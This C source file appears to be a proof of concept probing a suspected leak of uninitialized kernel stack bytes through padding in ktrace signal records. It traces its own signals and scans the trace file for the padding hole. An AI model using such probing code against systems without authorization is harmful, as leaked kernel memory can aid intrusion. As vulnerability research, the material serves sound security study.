/*
 * POC: ktr_psig stack-allocated struct in kern_ktrace.c is not memset
 * before fields are individually assigned. On amd64/arm64 the layout is:
 *   offset 0   int signo       (4 bytes)
 *   offset 4   PADDING HOLE    (4 bytes, alignment for sig_t)
 *   offset 8   sig_t action    (8 bytes)
 *   offset 16  int mask        (4 bytes)
 *   offset 20  int code        (4 bytes)
 *   offset 24  siginfo_t si
 *
 * Hypothesis: the 4-byte hole at offset 4 contains uninitialized kernel
 * stack data, observable by the tracing process (which can be the same
 * UID as the traced process per ktrcanset()).
 *
 * Procedure:
 *   1) ktrace -f outfile -t p ./self  (PSIG trace)
 *   2) self installs SIGUSR1 handler, raises SIGUSR1
 *   3) parse outfile, locate KTR_PSIG record, dump bytes 4..7
 *   4) repeat N times; non-deterministic non-zero → uninit leak
 */
#include <sys/types.h>
#include <sys/ktrace.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

static void handler(int s) { (void)s; }

int main(void)
{
    /* Child traces self, parent will inspect the file */
    /* Pre-create the output file (ktrace(2) requires it to exist) */
    int ofd = open("/tmp/ktrace.out", O_CREAT|O_RDWR|O_TRUNC, 0644);
    if (ofd < 0) { perror("open(create)"); return 1; }
    close(ofd);
    pid_t pid = fork();
    if (pid == 0) {
        struct sigaction sa;
        memset(&sa, 0, sizeof(sa));
        sa.sa_handler = handler;
        sigaction(SIGUSR1, &sa, NULL);
        /* Enable ktrace on self for PSIG only */
        if (ktrace("/tmp/ktrace.out", KTROP_SET,
                   KTRFAC_PSIG, getpid()) == -1) {
            perror("ktrace");
            _exit(1);
        }
        for (int i = 0; i < 16; i++) {
            raise(SIGUSR1);
        }
        ktrace("/tmp/ktrace.out", KTROP_CLEAR, KTRFAC_PSIG, getpid());
        _exit(0);
    }
    int status; waitpid(pid, &status, 0);

    int fd = open("/tmp/ktrace.out", O_RDONLY);
    if (fd < 0) { perror("open"); return 1; }
    unsigned char buf[8192];
    ssize_t n = read(fd, buf, sizeof(buf));
    close(fd);
    printf("ktrace.out size: %zd bytes\n", n);

    /* Walk records. struct ktr_header ends with size_t ktr_len.
     * Record layout: header || payload(ktr_len).
     * Header size depends on _MAXCOMLEN — we scan for KTR_PSIG type (0x05). */
    /* Simpler: dump hex of any payload immediately following type==KTR_PSIG */
    /* But ktrace file format requires real parsing. Use kdump for now and
     * also dump raw 32-byte windows showing the offset-4 padding hole.    */
    int found = 0;
    for (ssize_t i = 0; i + 64 < n; i++) {
        /* Heuristic: locate ktr_psig payload by scanning for a known
         * action-handler pointer (handler symbol) preceded by 4 bytes of
         * arbitrary padding. */
        uint64_t cand;
        memcpy(&cand, buf + i + 8, 8);
        uint32_t signo;
        memcpy(&signo, buf + i, 4);
        if (signo == SIGUSR1 && cand > 0x1000 && cand < 0x800000000000ULL) {
            uint32_t pad;
            memcpy(&pad, buf + i + 4, 4);
            printf("PSIG@%zd: signo=%u  PAD=0x%08x  action=0x%lx\n",
                   i, signo, pad, (unsigned long)cand);
            found++;
        }
    }
    if (!found) printf("No PSIG records matched heuristic. Run kdump manually.\n");
    return 0;
}
